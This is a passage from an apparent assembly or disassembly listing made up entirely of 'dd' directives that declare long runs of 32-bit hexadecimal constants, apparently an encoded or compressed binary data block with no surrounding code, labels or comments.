		dd 8A0E07F8h, 0E4900F9Dh, 0B0E474B7h, 899800CFh, 678CF6A4h
		dd 19D4750Bh, 100056ECh, 0EC2C34EEh, 0BA10ACh, 0D088A656h
		dd 12B515h, 920E1C41h
		dd 0D75C7BAAh, 0C05F2478h, 0B89DC93h, 0D39CDE28h, 885B6CFBh
		dd 9C5FF96h, 67C83D86h,	61AE498h, 2F7E0F00h, 13863FC9h
		dd 78770675h, 0C18DE6B2h, 7EF5D809h, 3E88E0DDh,	0F928B18Bh
		dd 13AF18BBh, 0E004581Bh, 5726CD70h, 0FD08048Eh, 75C40114h
		dd 0F2A6B078h, 4676F8DEh, 0ABB00064h, 105363EBh, 0D19A002Ah
		dd 0C6432839h, 664F152Bh, 64231C6Ah, 0F967E700h, 27874A11h
		dd 491447Eh, 0C29A624h,	63267705h, 850F0E6h, 0A619C47Eh
		dd 0ACF0F9D3h, 0FAFE0717h, 0B457CC32h, 80A8BCB1h, 2361E6ECh
		dd 0E28600E4h, 1641D795h, 0B67B8A2Fh, 345EE026h, 7CB45396h
		dd 6D5100D6h, 0B5618A4Eh, 301B6FAh, 0A97F9EEh, 4E7A3C90h
		dd 0DEA05424h, 4A5215FAh, 6CC489BDh, 0CFC48C8h,	28CBAFCh
		dd 9EF393E8h, 9CD4EE09h, 5951E51Ah, 18F2798Ch, 36A803C3h
		dd 2A8857F5h, 0F3D55BD0h, 8A4DB615h, 154F12C4h,	7888688Bh
		dd 4A3655C0h, 0F5E10040h, 0F477138Ch, 1F4AA57Eh, 54D4D892h
		dd 5AEA0248h, 70405F87h, 3CA4EE4Dh, 2D4D8B6h, 2BB43176h
		dd 0E0737B61h, 9043A464h, 210052AFh, 0D3FF56D0h, 9CA94158h
		dd 32DF84E4h, 0C43BAB4Dh, 0C0973610h, 0A81BD22Ah, 70F60AE2h
		dd 8C4FCFh, 3919F4D9h, 4D1E87B1h, 8C8D0C77h, 42A685Dh
		dd 5B45ACh, 51FB54F6h, 63132526h, 84A15822h, 9EB7111Fh
		dd 5EF30280h, 30E0065Dh, 59784AAAh, 6A2D7DE1h, 44DC4737h
		dd 8FAE60B8h, 88865E7Ch, 7500CA74h, 0F6075E5Fh,	80225D96h
		dd 490CA498h, 29C5FB4Ah, 74402A06h, 13C73480h, 783BAF68h
		dd 0A0001423h, 0E0F1664Dh, 0E1DC0147h, 0A3E650AEh, 714C473Eh
		dd 825EE458h, 7AFD1DF9h, 0F7C52B0h, 96AE3183h, 0F0B08C6Dh
		dd 704EADC0h, 13B3D4C0h, 8040BAC2h, 866E78DCh, 0CF303D25h
		dd 0ED0E4040h, 0AD0889C7h, 986F34h, 6C41C95Ch, 74B6625Ah
		dd 5F4674h, 15281794h, 0BF9A491h, 4BF79A7Dh, 0F8B484A7h
		dd 0ECBFB684h, 13A820ABh, 2E807A4Eh, 0FB5C0232h, 0B2EF5B12h
		dd 0E6D6C056h, 0CFE10139h, 840E7D27h, 5D36D485h, 465E609Ch
		dd 38951C21h, 0DA80A35Dh, 0D2928C57h, 39240090h, 2DD151FCh
		dd 5E00B5FEh, 4F709A37h, 7C171AD6h, 204A01CEh, 0E48DA79h
		dd 0F8861089h, 4493B5B6h, 9B6804B8h, 0E617621Fh, 69F62841h
		dd 0C44909C9h, 7FFDCC40h, 0D6FC12h, 6DC4B904h, 390E2D06h
		dd 3715EC09h, 0DA208265h, 0D8D4717Ah, 3869736h,	8DD63C9Bh
		dd 49F812B1h, 1325C6F3h, 48C00186h, 80735A8Ah, 0C4A1DF02h
		dd 0F450A943h, 1C32311Dh, 240F8F91h, 9098C858h,	514A432Dh
		dd 88C84414h, 9A508930h, 0F026C680h, 33F0FC6h, 82F4E61h
		dd 0DD006223h, 0AA81EF2Dh, 26CB01D5h, 0F8067FCEh, 82BC34DAh
		dd 6A80A19Fh, 8B2E2B90h, 9422C44Ch, 0C32C3330h,	20106E26h
		dd 73259021h, 698B7000h, 8D5E740Fh, 50B20CEAh, 47298062h
		dd 0BC681428h, 842FD67Fh, 0C074CDC8h, 274F7986h, 0C004402Fh
		dd 990F4914h, 7C240750h, 386440DCh, 0E0BC4AA4h,	4B8465Eh
		dd 2D3BCBD4h, 907418F8h, 0D0915E5Ch, 0F7B6E50Ch, 0BE71C401h
		dd 93A504FDh, 0E8EEADF4h, 0DBB703B5h, 6B42BFC5h, 2DCA47B0h
		dd 159C309h, 794C7188h,	0F61860h, 0DC33DA25h, 0A50CB631h
		dd 0C40E8D00h, 2178672Dh, 0B837B52Ch, 0C1D95207h, 0E89F9DD0h
		dd 0C35C016Bh, 0FBC78944h, 6337D185h, 3015B224h, 0D102E44Bh
		dd 0AA3C625Dh, 0D0005509h, 0EDF821DBh, 0F0A5B4B0h, 2156542Eh
		dd 3881941Fh, 0CA5215E8h, 0B8512428h, 54B38DFFh, 0A8335FB2h
		dd 9EBC76Ah, 0C439AD75h, 0E0434442h, 10B7984Ah,	0A5103A7h
		dd 43ED2DD0h, 82BE2C9Bh, 18CC0B03h, 0A8825D76h,	84C759A5h
		dd 0FE6063C4h, 0E2038D3Ah, 1239265Eh, 3B304E42h, 7823DCh
		dd 0C3992B47h, 1D24C4E6h, 2940B43Ch, 1E4004h, 0FD7C887Fh
		dd 42C92148h, 96C4E952h, 0A80389Ah, 367518B7h, 0E8915002h
		dd 9DFA549Eh, 83611188h, 0D715CD42h, 8CAE7AD1h,	24A16981h
		dd 30AB9040h, 1702F820h, 0E58A368Eh, 4414E7BAh,	63D96078h
		dd 89433AC5h, 58BCC05Ah, 71809688h, 0C8A02BDh, 938199E3h
		dd 0CB80D87Ch, 49F43123h, 6691093Ch, 8D14B4Dh, 2D047407h
		dd 0C5083E0h, 0A8E80EABh, 9FA39DD1h, 1BF82FAFh,	2209BF78h
		dd 0B744AD61h, 84AC0274h, 20600105h, 0FC92C881h, 64546797h
		dd 101A63BBh, 54AF0F8h,	0D3D1FBB3h, 0ECFFF8C0h,	6E5B4A2Dh
		dd 2AC601BCh, 9356B0B9h, 584D1C33h, 0B57E6098h,	988C05BDh
		dd 1625F098h, 5268E92Bh, 30C81FFCh, 14273881h, 0C063D800h
		dd 4F93554Ah, 6AE3078h,	0E0A3B721h, 12A868E9h, 0A86B13FBh
		dd 0AC016323h, 0CEC1BBF7h, 7C567D5h, 47DC432Ah,	8EFA3CE0h
		dd 0E1A0ECC6h, 0D17862A6h, 84B3F0B0h, 90122E70h, 3CF6006Eh
		dd 4A5832E6h, 2D06B438h, 7D9B3574h, 88C40180h, 8FA0EBF3h
		dd 8AE553h, 0D20369h, 64011BD7h, 773121EAh, 2955CE00h
		dd 3440E08Ah, 24F30E9Bh, 0AC7E65BCh, 0CC120049h, 0C31D2E70h
		dd 0F2833B00h, 44E00C73h, 0FF2901FEh, 79595DEBh, 1E2DCCB3h
		dd 7AFAAA39h, 88009BE0h, 6AFD5CB7h, 590892h, 49D0255Ah
		dd 0F484021Dh, 3B5D8101h, 0E5244D1h, 33D42DCh, 4612609Bh
		dd 0EFF89380h, 0D27E84A3h, 0B2E1BF1Dh, 0AABA3CC0h, 172F0873h
		dd 0DE530Bh, 34EC8D47h,	0D035182h, 87D0B25Bh, 0ACB0D061h
		dd 0C0180094h, 0F1624F9h, 89025B0Ch, 4B35B607h,	59A182C7h
		dd 38347051h, 0C01EFE31h, 0C90834Eh, 0D801D868h, 0A811AC38h
		dd 23D40376h, 0DDF70143h, 0B5442170h, 0A159802Fh, 559450F3h
		dd 0EEFF0031h, 4A6F68CCh, 28EC2AF6h, 0EC1B8A18h, 56E919h
		dd 457EA8A5h, 0B9C0CDEh, 2F917665h, 3C00E0A9h, 0DCC6591Fh
		dd 0CE60A150h, 2B4BFD69h, 6D683CE0h, 56137380h,	7B4CEA08h
		dd 6906D818h, 30C40518h, 0E071EEA3h, 1387ADBh, 581F0797h
		dd 4B432052h, 0BAEA8862h, 0A8F73AD7h, 0C8B22318h, 8500116Ch
		dd 90C2EF99h, 3A9EFEh, 1CF562DFh, 72AB3E3Fh, 9704E101h
		dd 0CA0DADC5h, 0A509E0F2h, 178E618h, 5DBBE2EEh,	0D877B43Ch
		dd 0BCFA7D95h, 3AF3D101h, 2DAD2E29h, 0B472C8h, 0E13B6B90h
		dd 0C1FF840Bh, 87D4100h, 8FFAE571h, 0ABA90750h,	0D3CCBB60h
		dd 2AA97915h, 22074B2h,	0B3ED480Fh, 8C0F40E6h, 7CFED804h
		dd 0F7DA00DBh, 388A26F6h, 1AE286EAh, 0E4E72E00h, 2FAEF815h
		dd 0C1EB00E8h, 0A1CB0590h, 0EF14F794h, 9853FFh,	0C9CA7447h
		dd 0EE56C7C8h, 65B9128Ah, 0F5300036h, 42381ECh,	456F1700h
		dd 563A9912h, 15D53B86h, 0ACB6781Dh, 16BE00B0h,	0AF8E819h
		dd 3EF3B8C0h, 22B8E95h,	0BE3DC669h, 60D8D298h, 6BBB5F00h
		dd 0F29CB3F4h, 15C00059h, 6A7CC4A5h, 2800F151h,	6983E5DBh
		dd 17E12C5h, 0F652926h,	0CDE45D89h, 395FC470h, 4562CE00h
		dd 381BC15Ah, 142A49F2h, 8FDA0300h, 8AD3A6FAh, 0F02D1F00h
		dd 8E152C4Bh, 9D01E65h,	586A0272h, 0B864B74Fh, 0EE284AE4h
		dd 4C07D3B6h, 0ADDB062Dh, 82F69E70h, 1EBD0219h,	21287626h
		dd 44728882h, 0C05DAE2Fh, 0CB1DD92Ah, 3470000Eh, 0ADDDC160h
		dd 0AC0321B8h, 0FC79EC83h, 0B548E0D4h, 1AD30074h, 8C6ACA77h
		dd 0B4A0CB5Dh, 0FC00BC42h, 82613C71h, 0F95CF11h, 0B2F639D9h
		dd 722C1DC0h, 7100890Eh, 1C9A5843h, 51E463E8h, 0A3C89303h
		dd 79F400ABh, 18F8FED3h, 600B509h, 1EB2EB36h, 18E26294h
		dd 0F0963813h, 0F600879Ch
		dd 0A77FC4C6h, 0EC59F047h, 0C17200A5h, 5075E95Bh, 0F9006C07h
		dd 102B51E6h, 257F760h,	16C77020h, 8E40CDAAh, 0AF00EB30h
		dd 107F5074h, 3E6B1B4Eh, 7E80E358h, 240A822Ah, 8E0090D7h
		dd 33046FD1h, 3FBD2BFh,	600E8653h, 90ED0F67h, 0E399AF9Ch
		dd 0F3AC8A00h, 0A34582A5h, 0E9BC038Fh, 0BA318012h, 6196740Ch
		dd 0C1619A7h, 0F981A294h, 0D4036611h, 0E4939213h, 0E0BAB343h
		dd 6A0C3EAh, 0A2D90C01h, 6D0B18E2h, 7A472CCCh, 68EF0330h
		dd 0B12BFEA5h, 67988D93h, 3B006DF8h, 0B8BC38DDh, 41578h
		dd 0CD54BDE0h, 0BE68B96Ah, 0CF85A401h, 46FAD90Fh, 7F1420h
		dd 8ECAA712h, 68476E2h,	0EC69E600h, 4E4721CEh, 0B62203BBh
		dd 95E80B6Ah, 2F4D68F8h, 90ED410Eh, 0C5850386h,	228B669h
		dd 17110819h, 60FD9636h, 72FB3F15h, 0B9E20078h,	3BED5D26h
		dd 0C92480B4h, 351C1450h, 82204340h, 0A85681h, 8840BCC8h
		dd 0EBFD68ACh, 0D9611300h, 0A16F124Eh, 1F81E0F5h, 0C02C7A2Dh
		dd 0AE1F0557h, 7612511Eh, 64000DA9h, 0F16D25E7h, 0E132006Ch
		dd 0F0679FC4h, 62000FF3h, 2288BFA8h, 5E2CC6h, 835C383Ch
		dd 7A5A12A3h, 0D8BD9C0Ah, 9124DACDh, 6AED5902h,	406496h
		dd 6E276C43h, 971B0C4Ch, 9B2DC00h, 3B620688h, 7FCE00CFh
		dd 0A2F481F8h, 1F4C7DAFh, 905A3030h, 1DBD27h, 82C8CABFh
		dd 168530EAh, 0EC3B0200h, 4812D3DEh, 6279009Bh,	0E5BA639h
		dd 9A0010EFh, 138C6D49h, 83E2A9h, 0D0EE2254h, 3373513Fh
		dd 0ED741E01h, 0B1289A0Eh, 3E5F2970h, 3480D33Ah, 65E946EEh
		dd 93F8B908h, 610DC701h, 4906132Fh, 0A0995CD8h,	5E98ADh
		dd 2E8D6B94h, 0D3BA2F05h, 64BF7701h, 0A218C99Bh, 6FF8F0h
		dd 9DDC4BACh, 0C4FE2FBBh, 0B877A83Bh, 0B3F2805Dh, 0DAE006D6h
		dd 87F100D2h, 14823102h, 9013C4C5h, 7402DEE4h, 0E4215888h
		dd 0A31D26ACh, 0A61000C9h, 2FC63F5Eh, 50B4C20Fh, 0F19BA015h
		dd 0FFC0272h, 0D4C74E8Dh, 3705B1E0h, 0EA007AD1h, 4ADD8513h
		dd 0D61472h, 0F0AE52Dh,	7A9B0BAEh, 51934096h, 1CC80B4h
		dd 7508986Ah, 0DD27A00Eh, 0EC5460EAh, 1958253Ch, 0FD111EEDh
		dd 1308C801h, 4175C21Dh, 0C0CB76F9h, 10CA45Eh, 0EB0E2F95h
		dd 0D078CD8Dh, 97F8F82Dh, 88716C60h, 783158E2h,	228700BFh
		dd 18B60DA1h, 9C1E11ECh, 8A01BD24h, 3ADC2B06h, 0E18912Ah
		dd 706D4Bh, 0A5EB48B1h,	0EAAA58h, 8A38CCA0h, 92F2C08Ch
		dd 3FE8ACFh, 0C80729CEh, 3C16BDh, 8E3B1F49h, 365A488Ch
		dd 1E844603h, 0E00ADFD0h, 58635191h, 0E80399D5h, 468ECC21h
		dd 61976EC9h, 13A4C0F1h, 0D8C41000h, 935CA5F0h,	0FF6C1751h
		dd 0B02700CBh, 5F0F4972h, 6B1AAC07h, 82B0D0EBh,	24423D2h
		dd 419026DCh, 947C6694h, 40AE5364h, 69D83358h, 0A401CE86h
		dd 9C3A360Fh, 5670EE94h, 0C5B7138Bh, 0EC48B81Fh, 5B028C5Eh
		dd 71BF8512h, 18CF672h,	2E6409C9h, 0BCCC3962h, 0C64204EDh
		dd 0B3D9312Bh, 0C8A625B0h, 3BEA30h, 49FBB8C4h, 1F4B37E5h
		dd 178EB227h, 805C91A4h, 90504D39h, 0CFA603F4h,	0D780E117h
		dd 7EF65005h, 45ABC0A1h, 0FC612DC0h, 8C5DEC24h,	99AEF107h
		dd 54E0A491h, 502FF25Ch, 0C574EECAh, 47478C29h,	0A09C21E0h
		dd 0BA988312h, 6A00D17Ch, 150A1741h, 1809F4DFh,	39890749h
		dd 9412D3A7h, 0F420F7C0h, 308117D0h, 0CFC83C9Eh, 5A0436DAh
		dd 15E158E0h, 20685CE1h, 5F8CBBBCh, 89BC77h, 0B6F666ECh
		dd 0F6939C1h, 4005B730h, 79FBD998h, 81787C09h, 594CF386h
		dd 0FC7E181Fh, 1442276Fh, 8C18D070h, 522095A0h,	0A2C1C096h
		dd 2049900Eh, 0B32FEF02h, 54706DE3h, 0E711D0F8h, 95458440h
		dd 5F60A4EDh, 4FB6F59Dh, 39F0C1ADh, 48C340C9h, 5B604E0Eh
		dd 3A0F0C99h, 6C039FF4h, 0C0A844A7h, 0E1D3D908h, 40DF18ACh
		dd 154CB858h, 4317CD2Fh, 0F8E03841h, 0C4AE277Ah, 63C47867h
		dd 0F8C08065h, 200EA78h, 0B06240ACh, 0E42B7F0Dh, 916E5BA6h
		dd 0F04F69E4h, 0A9BF5EF4h, 0F480FC9Ch, 2093B313h, 611668E2h
		dd 70BD74h, 31A8F788h, 9F79E7B0h, 72123018h, 0D92EDA25h
		dd 185CD928h, 47C30098h, 0FB39AB2Bh, 885A4215h,	0C4A998C0h
		dd 5FB12843h, 0CC7B0244h, 2FFAABDFh, 1BF2F090h,	9CC0CB03h
		dd 0E06E0E2Bh, 1D0A09h,	0BE73AD7Dh, 8DD47C7Bh, 59018EFCh
		dd 0B4899078h, 26EC9FBh, 74F5294Ch, 0BDCD4F6h, 0F2836B1Dh
		dd 0AAC1CC05h, 0EDD95800h, 5B0B482Dh, 0F2A0169Ch, 3078F214h
		dd 0E23C901Dh, 0B0E24BB6h, 512BB30Ah, 0F0C08BCCh, 0D8038412h
		dd 0A6E57819h, 288A4B70h, 6CC0B9C8h, 2D52D9A2h,	0F4EF8A3Bh
		dd 94C52040h, 0DE613D44h, 56EA1580h, 0A8E2AE88h, 42849E00h
		dd 78045E30h, 3C827769h, 8C1818DAh, 6217D133h, 0C1EC88EEh
		dd 4A809502h, 65157641h, 6060E4E4h, 0D9EBD6h, 904331B0h
		dd 0F9D1806Ah, 340DAE00h, 58EC7EFAh, 847D4D18h,	2E0E490Dh
		dd 54C22A41h, 7E34F675h, 1B036046h, 32F0C1C5h, 0B426B8B8h
		dd 0DC4F53Eh, 0F14604C3h, 1E30CC2Bh, 7656F810h,	3AB4C54Eh
		dd 135D23ACh, 5BC4E1FFh, 199C004h, 0B61C265Bh, 14465E94h
		dd 0F6B45D03h, 0ABF8460Fh, 605A69Dh, 41490E65h,	743834B2h
		dd 0D06E9F80h, 596FE256h, 0DEDC9297h, 2E00DC44h, 0A7886511h
		dd 0B1AE3EDh, 9458072Bh, 0C54304C8h, 0C9D724Eh,	4F61FBF0h
		dd 0ACF09588h, 4337BCD0h, 63130097h, 2ACBF638h,	288809C1h
		dd 24F22E4Bh, 651DAE01h, 27E1155h, 2F6BCD71h, 632334h
		dd 0D5F8CED1h, 10480F8Ah, 289B4B9Ch, 0B1510780h, 17269A15h
		dd 0C500B837h, 480C49FAh, 4B80924Dh, 0A22CD7DBh, 175F1C99h
		dd 97358834h, 47B54360h, 25240517h, 0BD46B37Fh,	0B86E5FD0h
		dd 13BB0E0Eh, 219EF281h, 34253FB8h, 36BCD4BCh, 10009743h
		dd 1F090CCAh, 93053061h, 0E92A44E2h, 0F1F057BEh, 0D0DA2BE4h
		dd 215C04C0h, 0E0B05799h, 9624371Eh, 0CDE5ADBCh, 0FABA6008h
		dd 6504C2BEh, 0F1C079E5h, 0DDC89CFCh, 503CF3A7h, 855FC34Ah
		dd 2B49B0D2h, 0AC707005h, 0CA83276Ch, 14B7DDA4h, 0A2AAC002h
		dd 43B0602Ah, 9EEC882Fh, 0E0050128h, 9C426E0Bh,	0AEBC810Eh
		dd 0FC7C969Ah, 8CF3BCh,	0B1A8A6FDh, 0E964572h, 1F0DC400h
		dd 8F27B463h, 10C0EC15h, 497DDAFh, 65F5CBB3h, 0B69694FDh
		dd 0CF9DA098h, 700B00E1h, 0EC0EEDD2h, 0E19F4E7Eh, 0CC75D630h
		dd 80F49B2Fh, 9F2E058Bh, 0EC2F0B12h, 0AC7E8FC6h, 7CEA0C2Ch
		dd 94232174h, 210BD780h, 297AB7DCh, 2CCC0967h, 0F8043EBCh
		dd 0C2A5FAA3h, 0C8D4E31Fh, 1C6DE6D6h, 7E5381Ah,	0F0CF0B15h
		dd 98129530h, 0ECD30727h, 482B43ACh, 8CBBB8FCh,	90972EEEh
		dd 0C54E8Ch, 45338012h,	0B86E22ECh, 75E69B50h, 0EFB8C6FAh
		dd 9E98A958h, 7A9A7C00h, 0EC0DABh, 3EE56B5h, 299DFB6Ch
		dd 2CC8410Bh, 7ED881F2h, 0C0511E1Dh, 0F075DBA5h, 0AE38237Bh
		dd 39625BF8h, 49247013h, 36BCDCE8h, 6F009743h, 9935F306h
		dd 9500BE7Bh, 273DC563h, 0D17D121h, 4F824049h, 55428ACh
		dd 0D2A0E6C6h, 86C0289Bh, 853924DEh, 0D053A625h, 54C61F7Ch
		dd 0BC3AD309h, 43DB0498h, 7F066CA9h, 0C02E4070h, 45416008h
		dd 27FD12Ah, 52AF90B8h,	0C4FC5924h, 9ACF98E0h, 0E13F47Ch
		dd 64E04C0Ah, 1CC425F9h, 0A8731053h, 57EACEh, 0AE949867h
		dd 36D14943h, 0C808914Bh, 61467EAAh, 0EA453B01h, 6FA17F76h
		dd 2D372C14h, 0D0F8C88Bh
		dd 3849808Ch, 78F0E10Ah, 465634B4h, 0B600065h, 47A570Fh
		dd 5CF625C7h, 0CFA4FC80h, 727D8228h, 3AAFD0C2h,	0E1160091h
		dd 0BDEEB8EDh, 0B458D617h, 0DEB08CE6h, 80000321h, 0F0E7089Ah
		dd 1EAF70B6h, 0BA143064h, 1DED0D4h, 0E90556CFh,	10BE2C09h
		dd 7B7CB3C8h, 0E2A23C11h, 0F267E2Ch, 0C941A3C2h, 6B9B272Bh
		dd 0EC2FAC84h, 5900B623h, 499187B5h, 817902B2h,	3F08867Fh
		dd 0CED487D5h, 9311AA6h, 957EF68Fh, 9B0650F6h, 0B0196806h
		dd 9380B6Dh, 0A45CC2F8h, 0C47D8705h, 7300F4CEh,	6EB5A5D9h
		dd 9D303D76h, 6139089Eh, 5E41001Ah, 67DED96Ch, 0A4007144h
		dd 7DD784D4h, 0EADC8738h, 5571E0Dh, 329DACh, 0AA16DF3Dh
		dd 0BE023CFAh, 0B5F359B9h, 21080641h, 0FA527100h, 9F7CAEF0h
		dd 3F2D0034h, 468A7941h, 3C28FC8Fh, 3661E0A1h, 6D810331h
		dd 6E100CD3h, 0DD193975h, 7B810274h, 0D8DEDD40h, 31B307B8h
		dd 0A6D6EA5h, 1D171114h, 4C0CD28h, 5A62B2E2h, 0C5AF01FAh
		dd 30A69C9Dh, 9F72CC49h, 0F1810618h, 1609B71h, 6C8D392Dh
		dd 0BAB17EEAh, 0F0EC00A0h, 783B6A64h, 0C5D676BAh, 1F3AED18h
		dd 826811Ch, 80FFD855h,	0AC9E8989h, 3FAB11E1h, 2D80B74Fh
		dd 0A9D93C2Bh, 0F0303350h, 1AB0715Bh, 9C4C073Eh, 410713A1h
		dd 8035A7BAh, 45ECEE48h, 7CFDDD40h, 198F607Eh, 3FEDB072h
		dd 9E0380C0h, 0C4F722h,	6F8A470h, 558F564h, 2D4AD56h, 0BE47FA4Dh
		dd 100B3141h, 0FAFA5576h, 3577C67h, 0E9C7276Ah,	92C8FCA6h
		dd 9730D8B9h, 3DBB704Bh, 0A804EA42h, 18A265B4h,	0C07E4AB2h
		dd 79668633h, 211208h, 46B2AA44h, 90C5BED0h, 3C379E00h
		dd 6D6CC6B8h, 0B781C231h, 4465130h, 9C46085h, 0CB5BA860h
		dd 67D4EF17h, 0CEEA3500h, 0F8E1F29Fh, 42360786h, 5BC9A87h
		dd 59E80033h, 0F3555237h, 49FF79C0h, 678A2C4h, 6039615Bh
		dd 0FB600873h, 0C4423421h, 0F57600AFh, 0E1204587h, 6B1C0ACAh
		dd 0CE4F6E2h, 6AAD9503h, 0DFD7A02Fh, 391D244Bh,	3E5D8014h
		dd 5BF8A8F0h, 0C001130Ch, 0C0660833h, 0F046B621h, 0DA02127Bh
		dd 0B1047EAAh, 9C54870Ch, 8289C6Eh, 0F44C487h, 0C447DC60h
		dd 9C04D82Ah, 6825060Fh, 0E3D3008Ch, 730E523Fh,	94395033h
		dd 65D12178h, 863708D8h, 2D885A00h, 387C7252h, 3BE00F2h
		dd 9FB9FF0Ah, 0AD09553Ch, 20760431h, 78A5ABA0h,	9C615333h
		dd 413064A2h, 1B780096h, 2E3334D9h, 1015F6ECh, 5CC22B2h
		dd 109049Ch, 3045A062h,	5311B2A3h, 6C88C97Eh, 0B2AB3F80h
		dd 2BFDC3h, 6F845FCCh, 469C5B8Bh, 12E9E10Dh, 58A1685Dh
		dd 1806D198h, 0BD27030Eh, 6CA4F87Ch, 33E480A4h,	19508892h
		dd 290779Ch, 0B9180E60h, 7C848AEAh, 0F8543015h,	6ACF9969h
		dd 0EC77960Eh, 0EA86BD51h, 9860FAh, 0B8C33EA8h,	9F816F2h
		dd 753DFF04h, 18CF6CF6h, 0BC00C88h, 0C1D5C89Eh,	0D88FA362h
		dd 2030C366h, 0AA3629DEh, 82CC0CC0h, 0AB696023h, 0FAA73A8Ch
		dd 0E0B1BE90h, 0FA4F7Ch, 0C04E37DCh, 63FDD89Ch,	0AC6F522h
		dd 0E0847F03h, 0D11C2980h, 0EF71865h, 0CA833FDAh, 434C7CC5h
		dd 0E882BDB0h, 0BF9401A5h, 0A10635D2h, 0E716070h, 0BF006618h
		dd 0BAC87920h, 0CEF3EECAh, 6E37158h, 9101F482h,	0CAB2CFF2h
		dd 0EC41C011h, 0A4E0EE3Ch, 11BC993Dh, 0E29E8F46h, 31C17E56h
		dd 0A6401069h, 562E0FB2h, 40DD901Bh, 468ABDEh, 19489D0Ch
		dd 0BAEE0684h, 5303CFDh, 9A6CF855h, 54800304h, 9940AF1Eh
		dd 48C4CACh, 0F8A7F03Dh, 1C7B3863h, 80A6F045h, 0F2038C90h
		dd 0DCA858A4h, 176682FBh, 0A0313FE1h, 811CF478h, 505832DDh
		dd 0A657D76h, 0E4C2B6A8h, 5FA851Fh, 41041002h, 8A6C0030h
		dd 0F4926852h, 60490C10h, 0E679D00h, 64B61588h,	36DE3E05h
		dd 682BD208h, 0C5006223h, 0D12DD214h, 0CEB0FE53h, 0C10D968h
		dd 582CBB55h, 49048C40h, 43F8ABF0h, 7F005CCEh, 0B6D5F031h
		dd 9501923Dh, 2A7E211Bh, 7440D8F6h, 10440D2h, 0C7725B28h
		dd 41C42BE5h, 506FB2DCh, 0ACF47E84h, 13DE1040h,	2290568Ch
		dd 184C4444h, 54B2A404h, 1162D17Eh, 0B2AC4220h,	3950945h
		dd 5E022DE3h, 0B482872Fh, 0D80366EDh, 0BD51048Eh, 0C008AEF2h
		dd 37E00C4Ch, 20F9F6F0h, 50091A6Ch, 30A60559h, 16FAA894h
		dd 3889BE3Eh, 50007BE0h, 8B1643FAh, 0A452D87h, 53760B6Bh
		dd 17E111B4h, 406FA0D3h, 6E7D3202h, 8C9DCDA5h, 0DC800D11h
		dd 0F68CFF3Fh, 0DA3B28B8h, 0CC3CA4E7h, 0A7603144h, 7E2947B2h
		dd 434148A9h, 76CDB2AFh, 92E48C20h, 0C4B70E7Ch,	36D8496h
		dd 3C1DE410h, 554624B0h, 0A7C44E02h, 50E77378h,	0EF071F16h
		dd 0EED0CBB9h, 450A90Fh, 2C565117h, 3F508223h, 12F03A30h
		dd 383BF8ACh, 42007AE4h, 6D5653F0h, 60585072h, 857069F9h
		dd 0D4004593h, 9C38D377h, 16B1C75Bh, 6CD1A9Eh, 0C8116A2Ah
		dd 201E4625h, 2BA3EE8h,	7F0100F8h, 1022CCE0h, 89005D98h
		dd 617E2DBDh, 59F23413h, 9A0E5056h, 280CD60h, 6EFE8CDFh
		dd 1D506C90h, 66002928h, 9078C8D6h, 7D49E48Eh, 0A8A9A386h
		dd 2C09F6Eh, 9E17D4CDh,	1C47358Fh, 5F600E44h, 0E214BAD7h
		dd 10D8992Ah, 0DC167B30h, 23383AB5h, 413F0068h,	5E5BDAA3h
		dd 80216A38h, 1AF455CFh, 5561BC6h, 30D3BA18h, 9824D705h
		dd 0A6C44DC0h, 807B4378h, 1EC44620h, 0ACFD248Ah, 741CA678h
		dd 42076A46h, 0AE901FB8h, 5859D40h, 9E02D627h, 0A4F0C428h
		dd 0E850E924h, 9F018422h, 9CEADC03h, 1BD081FAh,	1DDA05Dh
		dd 6B88944Eh, 476024C7h, 4C82F266h, 9A00340Ch, 257CCFE6h
		dd 9C0C5D31h, 0E04F3F4Ah, 0A5048C2Fh, 797E4DB2h, 4500C08Eh
		dd 6798B2ADh, 66E0A45Ah, 16CD1780h, 321C776Ch, 0AC30AAF4h
		dd 0BE3A11FAh, 810288A9h, 0CAFA546Fh, 442C81Ah,	0F707B0C2h
		dd 53E49136h, 0C4084818h, 0CF4378A1h, 412100D1h, 0B85272C4h
		dd 5650009Ch, 16A6C0B6h, 3F1CC6B0h, 0D137BEEEh,	84E103F0h
		dd 3EA901D2h, 756CCE68h, 92A42CF0h, 723C42Eh, 1603BB1Fh
		dd 0C8F421EDh, 0B85586h, 0CE6BD630h, 0F0E6439Ch, 736E0109h
		dd 0BCCEBCh, 0DA0C9F04h, 0B8F3309Dh, 12ACC75Ch,	0BF13A7DEh
		dd 6C1E5031h, 7F80F850h, 0BA9300EAh, 2B6EE3A1h,	95394EC7h
		dd 108680E5h, 0F14C82CFh, 3D830A0h, 56DE7471h, 36056B76h
		dd 7A11B27Bh, 775DDC0h,	2957F091h, 17CAF05h, 0BE39FAABh
		dd 8A011851h, 8EEB40DDh, 2090B8BFh, 1C221809h, 7F031863h
		dd 0B5C0B170h, 2A1F7B3Dh, 0FE787CEBh, 38DC5D74h, 5C06F796h
		dd 78116555h, 6B2505F0h, 15FE6EAh, 10BAC080h, 0FE208332h
		dd 5669AB31h, 0BBF0D838h, 0AD015894h, 1E359095h, 9828AFD9h
		dd 0D29582E1h, 48184511h, 0F84EF008h, 4069C42Bh, 34F03080h
		dd 0DE75303Dh, 76CAB759h, 7C780648h, 0F038A551h, 34969EF2h
		dd 13388584h, 459C5600h, 731E2AA9h, 95032FA1h, 0B3EBEE9Dh
		dd 3508039Fh, 86296AD6h, 168E2C09h, 2228809Dh, 0A43AD8DDh
		dd 8CF150E8h, 0A960F395h, 810124B8h, 805011B4h,	789CC453h
		dd 0FA6E8CABh, 0C44C6021h, 0E51F4Bh, 4E65C3E9h,	276A9B13h
		dd 0B50120B0h, 0A4F139B1h, 0C0897948h, 54908103h, 49C0EB58h
		dd 0B9B363D9h, 0DCD70748h, 10E6754Bh, 7A78848Eh, 0E8C438D4h
		dd 7008C0Eh, 646FD4DCh,	0BA3C921Eh, 2ED64AB0h, 96C2334h
		dd 24823D2Ch, 0E0898620h, 0B534DC10h, 0F9AA610Ch, 0E272008h
		dd 0CABAD084h
		dd 0D680C232h, 69E41CE5h, 88513962h, 0A3186779h, 1757BB02h
		dd 41F107CFh, 0FFAAA30h, 82DB160h, 0F6486B3Dh, 1302394h
		dd 7E48B2A8h, 80FC33B1h, 5CB2B046h, 0ED582A67h,	5E76DCh
		dd 87C6415h, 0AB8D880Fh, 8789DC02h, 463D01DAh, 2464694h
		dd 0F84DF047h, 649433h,	84F02F7Dh, 8B513E41h, 0BE164402h
